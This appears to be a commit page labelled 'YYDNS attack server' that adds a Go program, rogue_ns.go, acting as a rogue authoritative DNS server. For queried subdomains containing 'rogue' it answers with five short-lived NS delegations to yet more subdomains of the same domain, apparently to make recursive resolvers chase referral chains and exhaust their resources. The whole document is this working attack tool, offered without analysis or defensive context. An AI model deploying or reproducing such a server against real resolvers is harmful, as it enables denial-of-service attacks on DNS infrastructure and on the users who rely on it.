YYDNS attack server
This commit is contained in:
64
rogue_ns.go
Normal file
64
rogue_ns.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
func rogue_delegation(w dns.ResponseWriter, r *dns.Msg) {
|
||||
m := new(dns.Msg)
|
||||
m.SetReply(r)
|
||||
m.Compress = true
|
||||
m.Authoritative = true
|
||||
|
||||
qname := m.Question[0].Name
|
||||
qtype := m.Question[0].Qtype
|
||||
subdomain := strings.ToLower(strings.Split(qname, ".")[0])
|
||||
if qtype == dns.TypeA {
|
||||
if subdomain == "ns1" || subdomain == "ns2" {
|
||||
resp := &dns.A{
|
||||
Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10},
|
||||
A: net.ParseIP(CONFIG_NS),
|
||||
}
|
||||
m.Answer = append(m.Answer, resp)
|
||||
} else if strings.Contains(subdomain, "rogue") {
|
||||
var ns_target string
|
||||
var resp *dns.NS
|
||||
for i := 0; i < 5; i++ {
|
||||
ns_target = strings.Join([]string{subdomain + strconv.Itoa(i), CONFIG_SLD}, ".")
|
||||
resp = &dns.NS{
|
||||
Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 10},
|
||||
Ns: dns.Fqdn(ns_target),
|
||||
}
|
||||
m.Ns = append(m.Ns, resp)
|
||||
}
|
||||
} else {
|
||||
m.MsgHdr.Rcode = dns.RcodeNameError
|
||||
}
|
||||
} else {
|
||||
m.MsgHdr.Rcode = dns.RcodeNameError
|
||||
}
|
||||
w.WriteMsg(m)
|
||||
}
|
||||
|
||||
var CONFIG_SLD string
|
||||
var CONFIG_NS string
|
||||
|
||||
func main() {
|
||||
flag.StringVar(&CONFIG_NS, "ns", "8.8.8.8", "nameserver ip address")
|
||||
flag.StringVar(&CONFIG_SLD, "sld", "", "configure sld for rogue server")
|
||||
flag.Parse()
|
||||
if CONFIG_SLD == "" {
|
||||
panic("Please configure the SLD for the echo dns server!\n")
|
||||
}
|
||||
dns.HandleFunc(dns.Fqdn(CONFIG_SLD), rogue_delegation)
|
||||
server := &dns.Server{Addr: ":53", Net: "udp"}
|
||||
if err := server.ListenAndServe(); err != nil {
|
||||
println("Failed to set up the rogue server")
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user